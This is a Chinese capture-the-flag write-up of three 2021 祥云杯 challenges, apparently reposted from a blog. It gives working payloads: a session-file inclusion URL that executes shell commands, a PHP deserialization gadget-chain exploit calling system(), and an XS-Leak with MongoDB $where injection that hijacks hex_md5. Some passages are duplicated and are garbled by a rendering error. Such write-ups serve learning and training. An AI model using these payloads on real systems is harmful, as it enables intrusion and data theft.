其他分享
首页 > 其他分享> > 2021祥云杯

2021祥云杯

作者:互联网

安全检测
尝试用admin/admin登录,发现成功登录
输入一个百度的地址,发现跳转到了百度。
于是尝试能不能跳转到本地http://127.0.0.1发现无法跳转
网站很多都有一个admin后台目录,接着尝试能不能跳转到该目录
发现成功跳转
在这里插入图片描述看到include123.php文件,于是接着跳转到该文件下面
发现了一些php代码
在这里插入图片描述发现对get传的参数过滤了很多东西。本地文件包含,远程文件包含命令执行等基本都过滤了。
暑假做题的时候做到了一道类似的题,把这些都过滤了,他用的方法是用session文件包含,因为session是唯一一个没有文件后缀的文件。
因为过滤了很多,于是我用短标签进行命令执行。
http://127.0.0.1/admin/include123.php?u=/tmp/sess_cjm&cjm=<?=`pwd`;?>
记得改变cookie的PHPSESS值为cjm
在这里插入图片描述当我继续执行命令的时候输入空格总是显示网站无法访问,崩溃了,于是我用\t进行绕过空格。
输入ls\t/成功执行命令,得到flag文件为getflag.sh
http://127.0.0.1/admin/include123.php?u=/tmp/sess_cjm&cjm=<?=`ls\t/`;?>
在这里插入图片描述
ezyii
入口函数getCommandLine()
在这里插入图片描述利用 返回值可控的__call 和 字符串连接符 . ,将目标转向__toString,
在这里插入图片描述在这里插入图片描述在这里找到了可利用点,跟进 rewind
在这里插入图片描述下面断点的地方又可以走向其他类中的 rewind 方法
在这里插入图片描述跟进 read 方法
在这里插入图片描述又要跳向其他类的 read 方法
在这里插入图片描述在这里插入图片描述找到可以利用的地方
exp

<?php
namespace Codeception\Extension{
    use Faker\DefaultGenerator;
    use GuzzleHttp\Psr7\AppendStream;
    class  RunProcess{
        protected $output;
        private $processes = [];
        public function __construct(){
            $this->processes[]=new DefaultGenerator(new AppendStream());
            $this->output=new DefaultGenerator('jiang');
        }
    }
    echo base64_encode(serialize(new RunProcess()));
}

namespace Faker{
    class DefaultGenerator
{
    protected $default;

    public function __construct($default = null)
    {
        $this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
    use Faker\DefaultGenerator;
    final class AppendStream{
        private $streams = [];
        private $seekable = true;
        public function __construct(){
            $this->streams[]=new CachingStream();
        }
    }
    final class CachingStream{
        private $remoteStream;
        public function __construct(){
            $this->remoteStream=new DefaultGenerator(false);
            $this->stream=new  PumpStream();
        }
    }
    final class PumpStream{
        private $source;
        private $size=-10;
        private $buffer;
        public function __construct(){
            $this->buffer=new DefaultGenerator('j');
            include("closure/autoload.php");
            $a = function(){system('cat /flag.txt');};
            $a = \Opis\Closure\serialize($a);
            $b = unserialize($a);
            $this->source=$b;
        }
    }
}

Package Manager 2021

buuctf上面有原题,搜索祥云杯。
D盾和seay扫描都被屏蔽了,无法扫描出可疑漏洞,只能代码审计
在pack.pug中发现使用了!{}而不是#{},表示其中内容不会被html转义,可能存在xss漏洞。
在这里插入图片描述看到源码,发现用CSP做了非常严格的保护,基本无法做到xss.但是可以插入进行重定向。
在这里插入图片描述查看init_db.ts。知道flag在admin用户的某个package内容中。我们需要用某种方式获得admin页面的内容。可以考虑xsleak
在这里插入图片描述
利用packages/list/?search的功能,发现虽然可以实现search的功能,但是并不能按照内容正则匹配搜出来
在这里插入图片描述
Package Manager 2021
buuctf上面有原题,搜索祥云杯。
D盾和seay扫描都被屏蔽了,无法扫描出可疑漏洞,只能代码审计
在pack.pug中发现使用了!{}而不是#{},表示其中内容不会被html转义,可能存在xss漏洞。

看到源码,发现用CSP做了非常严格的保护,基本无法做到xss.但是可以插入进行重定向。

查看init_db.ts。知道flag在admin用户的某个package内容中。我们需要用某种方式获得admin页面的内容。可以考虑xsleak

利用packages/list/?search的功能,发现虽然可以实现search的功能,但是并不能按照内容正则匹配搜出来

这里search参数可以是对象。而对于后端mongodb来说,我们是能利用{KaTeX parse error: Expected 'EOF', got '}' at position 13: regex: 'xxx'}̲这样的查询进行正则搜索的。故访…regex]=^f就可以进行正则查询desscription了。这样就符合xsleak的思路了。
而具体leak的方法。我们使用object标签。它能在火狐环境下做到,如果object.data访问状态码200,就会触发onload事件。如果访问状态码404,就会触发onerror事件。我们根据这个差异性,就能利用search注出flag内容了。
并不是所有人都能提交url给admin。题目需要通过一个auth的检查
在这里插入图片描述
题目调用hex_md5处理密码与输入比对,我们需要输入admin密码的md5值才能通过校验。但是这是不可能做到的。所以这里需要利用另一个漏洞,污染或者说是劫持mongodb 的hex_md5函数。mongodb 的 w h e r e 查 询 , 本 质 上 就 是 在 执 行 m o n g o d b 的 j s 语 句 。 所 以 我 们 只 要 能 做 where查询,本质上就是在执行mongodb的js语句。所以我们只要能做 where查询,本质上就是在执行mongodb的js语句。所以我们只要能做where查询,重新定义hex_md5函数。就能将其返回值控制住,让我们通过校验。
最终解题方法:
先注册并登录,插入我们重定向到自己server的内容。并记录下这个package的url后缀,如:http://xxx/packages/39d0d2bb4609b8d8358dab1a99557b64
在这里插入图片描述然后让我们自己通过auth.首先抓包,并用burpsuite不断重放 (此处我把hex_md5返回值控制成202cb962ac59075b964b07152d234b70)
在这里插入图片描述访问/auth提交token。直到显示通过auth就可以不再竞争了。
在自己服务器上用python3 -m http.server 80监听,从而让bot等会访问到我们的index.html
最后复制我们package的最后32位hash 39d0d2bb4609b8d8358dab1a99557b64 提交。此时bot就会访问我们的页面并被重定向到我们自己的页面,进行xsleak。我们多提交几次给bot,更新html中变量flag的内容,就能把全部flag leak出来。
此处VPS_IP需要设置为自己的VPS ip地址。index.html

在这里插入图片描述

标签:__,admin,flag,DefaultGenerator,private,2021,new,祥云
来源: https://blog.csdn.net/qq_48511129/article/details/121898552